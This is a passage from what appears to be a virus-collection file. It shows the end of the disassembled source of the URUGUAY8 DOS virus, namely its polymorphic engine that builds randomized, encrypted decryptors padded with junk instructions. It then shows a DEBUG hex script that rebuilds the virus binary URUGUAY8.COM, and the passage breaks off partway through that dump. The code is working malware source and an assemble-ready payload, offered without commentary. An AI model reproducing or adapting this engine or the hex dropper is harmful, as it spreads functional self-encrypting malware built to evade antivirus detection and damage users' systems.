10BAj mov ax, dx stosw xor bx, bx retn add_reg_to_wanted_value: mov al, 5 ; 0F5Fo jnz _add_is_ax mov al, 81h stosb mov al, 0C0h add al, bl _add_is_ax: stosb ; 10CCj mov ax, dx sub ax, cx stosw retn sub_reg_to_wanted_value: mov al, 2Dh ; 0F61o jnz _sub_is_ax mov al, 81h stosb mov al, 0E8h add al, bl _sub_is_ax: stosb ; 10DEj mov ax, cx sub ax, dx stosw retn xor_reg_to_wanted_value: mov al, 35h ; 0F63o jnz _xor_is_ax mov al, 81h stosb mov al, 0F0h add al, bl _xor_is_ax: stosb ; 10F0j mov ax, dx xor ax, cx stosw retn mov_reg_wanted_value: mov al, 0B8h ; 0F65o add al, bl stosb mov ax, dx stosw retn poly_engine_main: push ax ; 0C5Dj 1340j push bx push si push di push ds push es push cs pop ds push cs pop es push dx mov byte_30D33, 0FFh mov byte_30C4A, 0 cmp create_header, 0 jnz create_com_header jmp build_decryptor header_jmp_table dw offset gen_jmp_imm16 dw offset gen_push_ret dw offset gen_jmp_reg16 create_com_header: push bx ; 1123j remake_header: call initialize_register_table; 1153j call clear_used_regs_table mov byte_30C37, 0 mov di, offset end_poly_engine+1 call gen_garbage call gen_garbage mov al, 3 call random cld shl bx, 1 call header_jmp_table[bx-2] cmp di, offset end_poly_engine+63h; Header to Big? ja remake_header mov ah, 40h ; Write Extended Header pop bx mov dx, offset end_poly_engine+1 mov cx, 99 call tint_21 push si push di mov si, offset register_table mov di, offset decryptor_start_up_regs mov cx, 7 cld rep movsw pop di pop si mov cs:create_header, 0 cmp cs:int13_error, 1 jnz build_decryptor pop dx stc jmp loc_31389 gen_jmp_imm16: mov al, 0E9h ; JMP xxxx ; 1128o stosb mov ax, file_size_minus_2 sub ax, di add ax, offset end_poly_engine+2 stosw retn gen_push_ret: mov al, 5 ; 112Ao call random mov al, [bx+0D28h] call reserve_register mov dx, file_size_minus_2 add dx, 103h call set_register call gen_garbage mov al, [bx+0D2Dh] add al, 50h ; PUSH reg16 stosb call clear_used_regs_table call gen_garbage mov al, 0C3h ; RET stosb retn gen_jmp_reg16: mov al, 5 ; 112Co call random mov al, [bx+0D28h] call reserve_register mov dx, file_size_minus_2 add dx, 103h call set_register call gen_garbage mov al, 0FFh ; Single Operand Instruction stosb mov al, [bx+0D2Dh] add al, 0E0h ; JMP Reg16 stosb call clear_used_regs_table retn build_decryptor: push si ; 1125j 117Dj push di mov si, offset decryptor_start_up_regs mov di, offset register_table mov cx, 7 cld rep movsw pop di pop si call clear_used_regs_table mov byte_30C37, 0 pop dx mov al, 4 call random dec bx mov byte_30CEF, bl mov al, [bx+0CE5h] shl al, 1 shl al, 1 shl al, 1 mov byte_30CE9, al mov al, [bx+0CEAh] mov byte_30CEE, al mov add_flag, 0 mov xor_flag, 0 mov rol_flag, 0 mov not_flag, 0 mov neg_flag, 0 mov add_count_flag, 0 mov xor_count_flag, 0 mov add_index_flag, 0 mov xor_index_flag, 0 mov byte_30C43, 0 mov byte_30C38, 0 mov di, offset end_poly_engine+3 shr di, 1 mov crypt_length, di mov al, 0FFh call random add di, bx mov word_30C2E, di mov al, 0FFh call random push bx mov al, 0FFh call random pop ax mov ah, bl mov word_30C2A, ax push cs pop es cld mov di, offset end_poly_engine+1 mov byte_30CF0, 0 mov byte_30C27, 0 mov al, 4 call random cmp bl, 1 jnz loc_31299 inc byte_30CF0 inc byte_30C27 loc_31299: mov byte_30C26, 0 ; 128Fj mov byte_30C28, 0 init_reg_loop: mov al, 3 ; 12B0j call random call init_next_reg cmp register_initialised, 1 jnz init_reg_loop call gen_garbage push di mov al, 5 call random mov cx, bx mov si, 0C44h mov byte_30C37, 1 create_decryptor_loop: call set_encryption_op; 12D2j 12FEj mov al, no_of_decrypt_ops mov [si], al inc byte_30C38 inc si loop create_decryptor_loop mov al, add_flag or al, xor_flag or al, rol_flag or al, not_flag or al, neg_flag or al, add_count_flag or al, xor_count_flag or al, add_index_flag or al, xor_index_flag or al, byte_30C43 jnz not_0_encryption inc cx jmp short create_decryptor_loop not_0_encryption: call increase_index ; 12FBj mov byte_30C39, 5 call gen_garbage mov byte_30C39, 0 push di mov si, 0 inc di inc di mov cx, crypt_length push di rep movsw pop di push cx add di, offset loc_30C5D mov cx, 0C19h mov al, byte_30C5C loc_31329: add [di], al ; 132Cj inc di loop loc_31329 pop cx pop di mov ax, di pop bx sub ax, bx cmp ax, 7Fh ; Decryptor Greater then 127 Bytes? jb encode_loop ; to big for LOOP so try again. pop es pop ds pop di pop si pop bx pop ax jmp poly_engine_main encode_loop: mov ah, 0FEh ; 1338j sub ah, al mov al, 0E2h ; LOOP stosb mov al, ah stosb mov si, di mov ax, ds:0C30h add ax, di sub ax, offset end_poly_engine+2 mov ds:0C34h, ax mov di, ds:0C32h mov dx, ax mov al, ds:index_register add al, 3 call set_register sub si, 2 mov di, si mov cl, ds:0C38h mov ch, 0 mov bx, 0C44h add bx, cx loc_31378: dec bx ; 1386j mov al, [bx] push bx push cx push si push di call do_corresponding_encryption pop di pop si pop cx pop bx loop loc_31378 clc loc_31389: mov al, 0FFh ; 1181j call random mov cx, bx add cx, ds:0C2Eh shl cx, 1 pop es pop ds pop di pop si pop bx pop ax retn set_encryption_op: jmp short _seo ; 12C5p ; 13EDo update_decrypt_flag_table dw offset toggle_decrypt_xor_flag dw offset increase_decrypt_add_flag dw offset decrease_decrypt_add_flag dw offset increase_decrypt_rol_flag dw offset decrease_decrypt_rol_flag dw offset toggle_decrypt_not_flag dw offset toggle_decrypt_neg_flag dw offset toggle_decrypt_xor_count_flag dw offset increase_decrypt_add_count_flag dw offset decrease_decrypt_add_count_flag dw offset toggle_decrypt_xor_index_flag dw offset increase_decrypt_add_index_flag dw offset decrease_decrypt_add_index_flag dw offset increase_decrypt_constant_flag dw offset increase_decrypt_constant_flag dw offset increase_decrypt_constant_flag _seo: mov al, 16 ; 139Dj call random cmp bl, 4 ja loc_313CE mov al, [bx+0CBDh] stosb loc_313CE: mov al, 16 ; 13C7j call random cmp byte ptr ds:0CF0h, 0 jz enough_decrypt_ops cmp bl, 3 ja enough_decrypt_ops add bl, 3 enough_decrypt_ops: mov ds:0C36h, bl ; 13D8j 13DDj mov al, [bx+0CC1h] stosb shl bx, 1 call word ptr update_decrypt_flag_table[bx-2] jmp short loc_3143E toggle_decrypt_xor_flag: xor xor_flag, 0FFh ; 139Fo retn increase_decrypt_add_flag: inc add_flag ; 13A1o retn decrease_decrypt_add_flag: dec add_flag ; 13A3o retn increase_decrypt_rol_flag: inc rol_flag ; 13A5o retn decrease_decrypt_rol_flag: dec rol_flag ; 13A7o retn toggle_decrypt_not_flag: xor not_flag, 0FFh ; 13A9o retn toggle_decrypt_neg_flag: xor neg_flag, 0FFh ; 13ABo retn toggle_decrypt_xor_count_flag: xor xor_count_flag, 0FFh; 13ADo retn increase_decrypt_add_count_flag: inc add_count_flag ; 13AFo retn decrease_decrypt_add_count_flag: dec add_count_flag ; 13B1o retn toggle_decrypt_xor_index_flag: xor xor_index_flag, 0FFh; 13B3o retn increase_decrypt_add_index_flag: inc add_index_flag ; 13B5o retn decrease_decrypt_add_index_flag: dec add_index_flag ; 13B7o retn increase_decrypt_constant_flag: inc byte ptr ds:0C43h; 13B9o 13BBo 13BDo retn loc_3143E: mov bl, ds:0C29h ; 13F1j mov al, index_table[bx-1] mov bl, ds:0C36h cmp bl, 0Eh jb loc_31475 add al, [bx+0CD4h] call encode_index mov al, 0FFh call random push bx mov al, 0FFh call random pop ax mov ah, bl stosw mov bl, ds:0C4Ah shl bx, 1 mov [bx+0C4Bh], ax inc byte ptr ds:0C4Ah jmp short loc_31485 loc_31475: add al, [bx+0CD1h] ; 144Dj cmp bl, 3 ja loc_31482 add al, ds:0CE9h loc_31482: call encode_index ; 147Cj loc_31485: call gen_garbage ; 1473j retn encode_index: push ax ; 1453p 1482p mov al, 5 call random pop ax cmp bl, 1 ; 20% chance of 8 bit offset jz use_8bit_offset cmp bl, 2 ; 20% chance of 16 bit offset jz use_16bit_offset jmp short use_0bit_offset; 60% chance of no offset use_8bit_offset: add al, 40h ; 1493j stosb xor al, al jmp short use_0bit_offset use_16bit_offset: add al, 80h ; 1498j stosb xor al, al stosb use_0bit_offset: stosb ; 149Aj 14A1j retn increase_index: jmp short _ii ; 1300p index_register_info db 0BBh ; MOV BX ; 151Ao db 43h ; INC BX db 83h, 0C3h, 2 ; ADD BX,+2 db 81h, 0EBh, 0FEh, 0FFh; SUB BX,0FFFE (-2) db 83h, 0EBh, 0FEh ; SUB BX,-2 db 81h, 0C3h, 2, 0 ; ADD BX,0002 db 0C3h ; ADD BX, db 0EBh ; SUB BX, db 0BEh ; MOV SI db 46h ; INC SI db 83h, 0C6h, 2 ; ADD SI,+2 db 81h, 0EEh, 0FEh, 0FFh; SUB SI,0FFFE (-2) db 83h, 0EEh, 0FEh ; SUB SI,-2 db 81h, 0C6h, 2, 0 ; ADD SI,0002 db 0C6h ; ADD SI, db 0EEh ; SUB SI, db 0BFh ; MOV DI db 47h ; INC DI db 83h, 0C7h, 2 ; ADD DI,+2 db 81h, 0EFh, 0FEh, 0FFh; SUB DI,0FFFE (-2) db 83h, 0EFh, 0FEh ; SUB DI,-2 db 81h, 0C7h, 2, 0 ; ADD DI,0002 db 0C7h ; ADD DI, db 0EFh ; SUB DI, increase_index_reg_table dw offset gen_inc_inc; 1525o dw offset gen_signed_add_2 dw offset gen_unsigned_sub_neg2 dw offset gen_signed_sub_neg2 dw offset gen_unsigned_add_2 dw offset gen_add_sub add_sub_index_table dw offset signed_add_index dw offset signed_sub_index dw offset unsigned_add_index dw offset unsigned_sub_index dw offset inc_index dw offset dec_index final_index_increment_table dw offset add_index_increase_to_2 dw offset sub_index_increase_to_2 amount_of_index_increase dw 9 _ii: push si ; 14ABj mov bl, ds:index_register dec bl mov al, 18 ; no of bytes per reg info table. mul bl inc ax mov cl, al mov al, 6 call random mov al, bl mov bl, cl mov bh, 0 add bx, offset index_register_info push bx ; BX=offset of Registers Info dec al xor ah, ah shl ax, 1 add ax, offset increase_index_reg_table mov bx, ax mov ax, [bx] pop bx call ax pop si retn gen_inc_inc: mov al, [bx] ; 14E3o stosb call gen_garbage stosb retn gen_signed_add_2: mov ax, [bx+1] ; 14E5o stosw mov al, [bx+3] stosb retn gen_unsigned_sub_neg2: mov ax, [bx+4] ; 14E7o stosw mov ax, [bx+6] stosw retn gen_signed_sub_neg2: mov ax, [bx+8] ; 14E9o stosw mov al, [bx+0Ah] stosb retn gen_unsigned_add_2: mov ax, [bx+0Bh] ; 14EBo stosw mov ax, [bx+0Dh] stosw retn gen_add_sub: mov word ptr ds:14FFh, 0; 1594u ; 14EDo mov si, bx mov al, 4 ; 1 to 4 ADD/INC/DEC/SUB call random mov cx, bx add_sub_index_loop: call random_add_sub_index; 1572j call gen_garbage loop add_sub_index_loop mov al, 2 call random shl bx, 1 jmp word ptr final_index_increment_table[bx-2] random_add_sub_index: mov al, 0FFh ; 156Cp call random push bx mov al, 0FFh call random pop dx mov dh, bl mov al, 6 call random shl bx, 1 jmp add_sub_index_table[bx-2] add_index_increase_to_2: mov ax, [si+0Bh] ; 14FBo stosw mov ax, 2 sub ax, word ptr ds:amount_of_index_increase stosw retn sub_index_increase_to_2: mov ax, [si+4] ; 14FDo stosw mov ax, word ptr ds:amount_of_index_increase sub ax, 2 stosw retn signed_add_index: mov ax, [si+1] ; 14EFo stosw and dl, 7Fh ; Make it Signed mov al, dl stosb xor dh, dh add word ptr ds:amount_of_index_increase, dx retn signed_sub_index: mov ax, [si+8] ; 14F1o stosw and dl, 7Fh ; Make it Signed mov al, dl stosb xor dh, dh sub word ptr ds:amount_of_index_increase, dx retn unsigned_add_index: mov ax, [si+0Bh] ; 14F3o stosw mov ax, dx stosw add word ptr ds:amount_of_index_increase, dx retn unsigned_sub_index: mov ax, [si+4] ; 14F5o stosw mov ax, dx stosw sub word ptr ds:amount_of_index_increase, dx retn inc_index: mov al, [si] ; 14F7o stosb inc word ptr ds:amount_of_index_increase retn dec_index: mov al, [si] ; 157Bu ; 14F9o add al, 8 stosb dec word ptr ds:amount_of_index_increase retn do_corresponding_encryption: jmp short _dce ; 137Fp encryption_routine_table dw offset encrypt_xor dw offset encrypt_add dw offset encrypt_sub dw offset encrypt_rol dw offset encrypt_ror dw offset encrypt_not dw offset encrypt_neg dw offset encrypt_xor_counter dw offset encrypt_add_counter dw offset encrypt_sub_counter dw offset encrypt_xor_index dw offset encrypt_add_index dw offset encrypt_sub_index dw offset encrypt_const_xor dw offset encrypt_const_add dw offset encrypt_const_sub _dce: xor ah, ah ; 15FDj shl ax, 1 mov bx, ax mov ax, encryption_routine_table[bx-2] mov cx, ds:0C2Ch mov bx, ds:0C2Ah jmp ax encrypt_xor: lodsw ; 1637j ; 15FFo 16AFo xor ax, bx stosw loop encrypt_xor retn encrypt_add: lodsw ; 163Ej ; 1601o 16B4o sub ax, bx stosw loop encrypt_add retn encrypt_sub: lodsw ; 1645j ; 1603o 16B9o add ax, bx stosw loop encrypt_sub retn encrypt_rol: lodsw ; 164Cj ; 1605o ror ax, 1 stosw loop encrypt_rol retn encrypt_ror: lodsw ; 1653j ; 1607o rol ax, 1 stosw loop encrypt_ror retn encrypt_not: lodsw ; 165Aj ; 1609o not ax stosw loop encrypt_not retn encrypt_neg: lodsw ; 1661j ; 160Bo neg ax stosw loop encrypt_neg retn encrypt_xor_counter: mov bx, ds:0C2Eh ; 160Do encrypt_xor_counter_loop: lodsw ; 166Dj xor ax, bx dec bx stosw loop encrypt_xor_counter_loop retn encrypt_add_counter: mov bx, ds:0C2Eh ; 160Fo encrypt_add_counter_loop: lodsw ; 1679j sub ax, bx dec bx stosw loop encrypt_add_counter_loop retn encrypt_sub_counter: mov bx, ds:0C2Eh ; 1611o encrypt_sub_counter_loop: lodsw ; 1685j add ax, bx dec bx stosw loop encrypt_sub_counter_loop retn encrypt_xor_index: mov bx, ds:0C34h ; 1613o encrypt_xor_index_loop: lodsw ; 1692j xor ax, bx inc bx inc bx stosw loop encrypt_xor_index_loop retn encrypt_add_index: mov bx, ds:0C34h ; 1615o encrypt_add_index_loop: lodsw ; 169Fj sub ax, bx inc bx inc bx stosw loop encrypt_add_index_loop retn encrypt_sub_index: mov bx, ds:0C34h ; 1617o encrypt_sub_index_loop: lodsw ; 16ACj add ax, bx inc bx inc bx stosw loop encrypt_sub_index_loop retn encrypt_const_xor: mov ax, offset encrypt_xor; 1619o jmp short loc_316BE encrypt_const_add: mov ax, offset encrypt_add; 161Bo jmp short loc_316BE encrypt_const_sub: mov ax, offset encrypt_sub; 161Do jmp short loc_316BE loc_316BE: mov bl, ds:0C4Ah ; 16B2j 16B7j xor bh, bh shl bx, 1 mov bx, [bx+0C49h] dec byte ptr ds:0C4Ah jmp ax init_next_reg: mov al, ds:0C26h ; 12A8p and al, ds:0C27h and al, ds:0C28h mov ds:0C25h, al cmp register_initialised[bx], 1 jnz do_init_reg ; 16F6o retn init_regs_table dw offset init_index_register dw offset init_key_register dw offset init_counter_register do_init_reg: mov byte ptr [bx+0C25h], 1; 16E3j call gen_garbage shl bx, 1 jmp init_regs_table[bx-2] init_index_register: mov al, 3 ; 1703j ; 16E6o call random cmp bl, ds:0CEFh jz init_index_register mov ds:0C29h, bl mov al, 18h cmp bl, 1 jz loc_31719 mov al, 30h cmp bl, 2 jz loc_31719 mov al, 38h loc_31719: mov ds:0CDCh, al ; 170Ej 1715j mov ds:0CDDh, al mov ds:0CDEh, al add bl, 3 mov al, bl call reserve_register dec al mov ds:0D33h, al mov ds:0C32h, di mov cx, 4 do_4_1byters: mov al, 10 ; 1740j call random mov al, one_byte_junk[bx-1] stosb loop do_4_1byters retn init_key_register: mov al, ds:0CEEh ; 16E8o call reserve_register mov dx, ds:0C2Ah call set_register retn init_counter_register: mov al, 1 ; CX ; 16EAo call reserve_register mov dx, ds:0C2Eh call set_register retn gen_garbage: push ax ; 113Dp 1140p 11A8p 11B5p 11D3p 12B2p 1308p 1485p 1534p 156Fp 16F1p push bx push cx mov al, 0Dh sub al, ds:0C39h call random add bl, ds:0C39h dec bx jz gen_no_junk mov cx, bx gen_garbage_loop: call call_rand_garbler; 1776j loop gen_garbage_loop gen_no_junk: pop cx ; 176Fj pop bx pop ax retn call_rand_garbler: jmp short _call_rand_garbler; 1773p garbler_routine_table dw offset gen_1byte_junk dw offset gen_2byte_junk dw offset gen_mem_to_reg_junk dw offset modify_unused_reg dw offset modify_unused_reg _call_rand_garbler: push ax ; 177Cj push bx push cx mov al, 5 call random shl bx, 1 call word ptr garbler_routine_table[bx-2] pop cx pop bx pop ax retn gen_2byte_junk: mov al, 38 ; 17ACj ; 1780o call random shl bx, 1 mov ax, word ptr two_byte_junk[bx-2] stosw retn gen_mem_to_reg_junk: cmp byte ptr ds:0C37h, 1; 1782o jz gen_2byte_junk mov al, 3 ; Choose index call random mov al, index_table[bx-1]; Get Index Addressing Mode add al, 10h push ax mov al, bl add al, 3 ; Get Index Registers Value call get_registers_value cmp bx, 0FFFFh ; -1? Cannot use for Word Indexing jnz do_mem_to_reg_junk pop ax retn do_mem_to_reg_junk: mov al, 8 ; 50% Chance of Random Segment Override ; 17C4j call random cmp al, 4 ja no_segment_override mov al, segment_override_table[bx-1] stosb no_segment_override: mov al, 8 ; 17CFj call random mov al, mem_to_reg_table[bx-1] push ax mov al, 2 call random pop ax add al, bl dec al ; Choose between Word or Byte stosb xor cx, cx cmp bl, 1 jz put_mem_to_reg_junk mov al, 2 call random cmp bl, 1 jz put_mem_to_reg_junk mov cl, 18h put_mem_to_reg_junk: pop ax ; 17F0j 17FAj add al, cl stosb retn gen_1byte_junk: mov al, 10 ; 177Eo call random mov al, byte ptr one_byte_junk[bx-1] stosb retn rand_seed1 dw 0 ; 182Fr 183Aw 1851w rand_seed2 db 0 ; 1826r 1860w rand_seed3 db 0 ; 181Cw 1821w 182Aw 1840w 184Ar 1856w 185Bw random: push si ; 0D9Dp 0E01p 0E0Ap 0E11p 0E18p 0E2Bp 0E46p 0E6Cp 0F89p 0FC1p 1079p 10ACp 1145p 1193p 11BEp ; 11FFp 125Dp 1268p 126Ep 1289p 12A5p 12B8p 138Bp 13C1p 13D0p 1458p 145Ep 148Cp 1511p 1567p ; 1576p 1581p 1587p 158Fp 16FCp 1738p 1767p 178Dp 179Cp 17B0p 17CAp 17D8p 17E2p 17F4p 1805p push ds push ax xor ax, ax mov ds, ax mov ax, ds:46Ch add cs:rand_seed3, al xor cs:rand_seed3, ah mov al, cs:rand_seed2 sub cs:rand_seed3, al mov ax, cs:rand_seed1 cmp ax, 8000 jb rand_ptr_ok xor ax, ax mov cs:rand_seed1, ax rand_ptr_ok: mov si, ax ; 1836j xor cs:rand_seed3, al mov ax, 0FC00h ; ROM BIOS Area mov ds, ax mov al, cs:rand_seed3 xor al, [si] inc si inc cs:rand_seed1 add cs:rand_seed3, al rol cs:rand_seed3, 1 mov cs:rand_seed2, al pop bx reduce_rand_loop: cmp al, bl ; 186Bj jb rand_is_in_limits sub al, bl jmp short reduce_rand_loop rand_is_in_limits: inc al ; 1867j mov bl, al xor bh, bh pop ds pop si end_poly_engine: retn ; 0C5Ao seg000 ends end loc_30000 ;=[END URUGUAY8.ASM]========================================================= ;=[BEGIN URUGUAY8.SCR]======================================================= N URUGUAY8.COM E 0100 26 8A 15 F8 03 EB 7C 00 F8 81 CF 2B C9 42 90 4A E 0110 76 00 76 00 D1 DD 81 EE FE FD 76 00 23 F8 F7 DD E 0120 56 D1 D5 81 EE C3 4E F6 DE 81 CA A7 89 C3 6D 2E E 0130 0D 0A 0D 0A 5A 70 61 72 61 6D 65 74 65 72 73 20 E 0140 20 53 70 65 63 69 66 69 65 73 20 61 6E 79 20 63 E 0150 6F 6D 6D 61 6E 64 2D 6C 69 6E 65 20 69 6E 66 6F E 0160 72 6D 61 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 01A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 01B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 01E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0300 F8 FF BB 69 03 90 F6 DA 02 15 F7 DD 76 00 2B E8 E 0310 86 F2 8B D1 3E 02 14 F6 D2 F5 81 E9 35 F4 32 15 E 0320 35 4A 76 90 4D D1 C0 13 D5 22 15 2B C1 BD 5C FA E 0330 42 BE 73 2B FC 81 ED 26 37 33 D0 81 EF 5D 7F F7 E 0340 9F 00 00 0B E9 D1 EA 32 F6 81 07 96 23 90 D1 D5 E 0350 D1 D2 83 EB FE F8 D1 D2 13 D0 F7 DA 42 81 F5 A1 E 0360 D1 03 C1 0B FF 81 CD C1 E1 B4 4E AD 73 96 1D 80 E 0370 00 7D 08 AF 22 96 23 96 23 96 23 96 AF 8F B3 96 E 0380 D2 95 02 A8 84 86 07 95 CE 95 2E 92 49 86 07 95 E 0390 6B 96 D7 C9 01 96 23 96 23 96 23 96 23 96 23 96 E 03A0 23 96 23 96 23 96 23 96 23 96 23 96 23 96 23 96 E 03B0 23 96 23 96 23 96 23 96 23 96 23 96 23 96 23 96 E 03C0 23 96 23 96 23 96 23 96 23 96 23 96 23 96 23 96 E 03D0 23 96 23 96 23 96 23 96 23 96 23 96 23 96 23 96 E 03E0 23 96 23 96 23 96 23 96 23 96 23 96 23 96 23 96 E 03F0 23 96 23 96 93 06 3B CA 22 97 21 96 16 6B 5A 91 E 0400 23 96 23 4B E0 47 D6 49 E2 48 DF 68 E0 47 D6 68 E 0410 DE 3E DE 96 03 96 22 94 F1 5C B6 75 09 9A 3A 96 E 0420 23 3B 15 43 98 A3 A1 D0 29 95 F0 D6 94 D6 FC 0C E 0430 15 2A 1F 8C 5A 21 E9 E2 14 E4 AD 63 48 B2 C1 8A E 0440 20 B0 C1 E6 6C B0 DF 0C 61 B0 E0 EA 3C 54 F1 D4 E 0450 AE 87 99 C6 55 86 25 D5 FC 5E 15 2A 1F 21 2A AB E 0460 40 B2 C1 72 27 B0 C1 16 62 3C FD 5E 15 2A 1F 21 E 0470 2A 3B D0 88 1C 0A D4 B9 6A 2E 19 93 60 0D DC BB E 0480 64 27 24 93 30 D7 22 95 6A 32 23 9A 2F F2 67 62 E 0490 11 DC AA 40 56 8E 6B 64 F3 DC EE 84 56 75 E6 1E E 04A0 CD 21 03 3B CB 16 A4 BC 21 21 1F 68 24 27 48 46 E 04B0 6B 96 22 46 F0 D6 EF BB 69 97 22 D8 22 95 64 98 E 04C0 23 9B 57 0A 5B 4E 95 BE A2 58 23 96 C9 22 1C 93 E 04D0 1D 93 23 56 38 A6 A1 68 20 96 02 93 97 BE 1F 90 E 04E0 20 96 E3 08 63 38 A2 A8 6C 96 F0 97 14 77 6A 20 E 04F0 0B 9A 2F F2 69 07 22 46 D2 CB 3A B4 21 AE 26 8F E 0500 15 77 6F 66 3B F1 1B F3 1F 96 73 8D 3B 48 23 0D E 0510 05 91 23 0A 1D 8F 23 E6 19 DC 9C 91 3B 73 23 AE E 0520 D4 96 3B CF 22 3E 27 68 A3 58 93 96 22 08 4B 21 E 0530 1E 68 24 68 92 96 95 D6 D2 88 FD 07 1D 94 23 AD E 0540 B4 97 86 43 1D E2 22 C5 42 C5 42 0B 4B 63 63 08 E 0550 63 9C FC 0D 0C 70 97 37 21 8F C8 F9 5F FA 6E 96 E 0560 52 B6 51 B6 97 BE EF D6 94 D6 28 70 5F 77 86 D3 E 0570 3A EF 19 16 21 D0 0C 7D 0C 7E 06 B2 4E B1 9D 57 E 0580 5B 15 0E CE D0 06 D3 0A AC CC 8A E8 2E F9 D4 CB E 0590 D2 0A 39 C1 2E F9 D4 8B 5C 46 9B FE 74 A2 85 48 E 05A0 18 CE D2 0E 39 C1 2E F9 D4 8B 5A 1C 54 16 FE CE E 05B0 74 D7 56 B1 FD 76 04 75 05 0D 2D 9F 2A 9D 28 9B E 05C0 26 99 24 97 1B 8E 1A 8C 18 8A 08 5E E8 69 E8 6F E 05D0 E4 A3 39 98 3C 67 EF 5D E9 6F F1 64 F8 6C 3D A8 E 05E0 E9 6B F6 93 24 8D 19 8B 34 C3 52 AC 3A 6B 1A E8 E 05F0 20 D0 09 7A 0C 18 5D D4 CE F8 29 DA 29 F5 A3 E8 E 0600 59 D4 B0 9E 84 00 9A A6 84 EE 65 18 3F D0 C9 DA E 0610 69 A2 D4 AA AB D0 03 72 02 0D AB 8F C4 6F 1C 84 E 0620 11 82 0B 42 15 7B 0B 20 E4 7B 1C 90 A5 8F C9 74 E 0630 06 8E 0E 83 17 96 1B 95 DF 4D 1C 48 B6 74 22 7C E 0640 12 83 04 89 22 8C D4 8E A6 8F 1C 84 11 82 0B 26 E 0650 1C 88 13 93 07 80 19 79 00 8F C5 5A 22 7C D0 4D E 0660 09 43 E2 55 D1 7F 0D 80 1F 83 12 8B DB 40 04 7B E 0670 1C 90 D0 89 16 32 18 27 B5 95 08 22 BF 89 09 8F E 0680 1D 7B 18 7F 22 85 B8 73 1C 8F 1C 8C B3 96 D2 95 E 0690 02 A8 2E 90 B3 96 22 22 1C 14 24 B6 16 68 A3 58 E 06A0 F8 93 22 21 22 C7 F4 F3 F4 93 F5 0D F5 66 20 0B E 06B0 37 0B DD 94 F5 5B 1D 75 20 1F 09 68 80 75 20 68 E 06C0 5D 90 F8 93 22 0B DD 92 FE 97 24 0D DD 92 98 50 E 06D0 23 68 80 6A 20 68 82 68 20 68 98 68 F3 93 54 AE E 06E0 EA 8E FA 92 5D 20 5C E8 E9 D2 4E B1 D3 B2 35 CD E 06F0 D0 CA 33 CD AC CF A2 9E 59 E8 16 D2 AC AF 74 74 E 0700 5F 47 3F B7 5C 44 57 B5 5C 20 3C E8 0D D0 2E 50 E 0710 1F A5 59 CF E7 C0 2E 2F 31 CD 2E 2D 44 D0 2E 2F E 0720 3C CD 2E 2D 42 D0 AC BD 74 9E 5E A2 D3 B2 4B D0 E 0730 2E 44 57 BD 5C 20 4A E8 39 D0 2E 50 1F A5 59 CF E 0740 E7 C0 2E 2F 31 CD 2E 2D 4C D0 2E 2F 3C CD 2E 2D E 0750 4A D0 AC CF 2E 0B 47 A9 59 E8 76 D3 99 E8 5F D3 E 0760 2E 47 3F AD 59 A2 D0 CA 37 CD 2E 0A 57 A5 59 D0 E 0770 A4 CD 4A 03 2E A2 D0 B2 3B CD 62 34 05 C3 5C CF E 0780 0C 33 A9 D1 AA D0 C0 A2 5D B2 39 CD C0 78 38 D1 E 0790 5E 80 C0 D5 99 96 23 96 23 96 F5 16 E5 6B 20 95 E 07A0 AE 95 54 68 80 68 20 68 9A 68 F3 93 98 AA 97 50 E 07B0 21 59 23 D6 B0 77 E6 97 23 22 09 68 80 6A 1F 68 E 07C0 5D 90 F8 93 22 0B DD 92 FE 97 24 0D DD 92 98 50 E 07D0 23 68 80 6C 1F 68 82 68 20 68 98 68 F3 93 54 AE E 07E0 EA 8F 4E 92 23 44 D3 88 04 F4 F4 92 3B 28 26 0D E 07F0 05 6C 1F 0A 1D 6A 1F E6 21 AE C1 99 99 78 FC 93 E 0800 97 90 FA 93 73 95 69 67 1F AE EC 99 F4 D0 1C 6B E 0810 20 96 29 FA CA 89 23 95 D3 F9 CA 3C 87 68 24 78 E 0820 F9 92 87 3E FE 97 24 46 86 9B 72 95 F5 D1 0C 6F E 0830 20 AE 14 99 F4 F6 F4 92 F5 D1 0C 6C 1F AE 20 99 E 0840 5F 96 23 96 23 68 80 68 20 68 9A 68 F3 93 F5 0D E 0850 05 BE 1E 68 97 78 4D 92 98 AA 97 50 21 08 4B 0B E 0860 C5 96 E6 96 33 24 14 59 24 97 AE 8C 73 7D 98 C3 E 0870 3A C7 26 AD 7D 96 A2 57 56 7D AF 70 A2 17 21 C9 E 0880 09 21 18 15 E4 A3 7D 21 1E 13 25 5E AF 80 F5 F5 E 0890 F4 93 F5 0B F5 66 20 68 98 78 4B 92 F5 08 05 C0 E 08A0 1E C7 37 1F 7E F1 9F D0 1E 13 5C 92 A0 AD 20 A3 E 08B0 7D AB BA 88 04 E6 09 AE 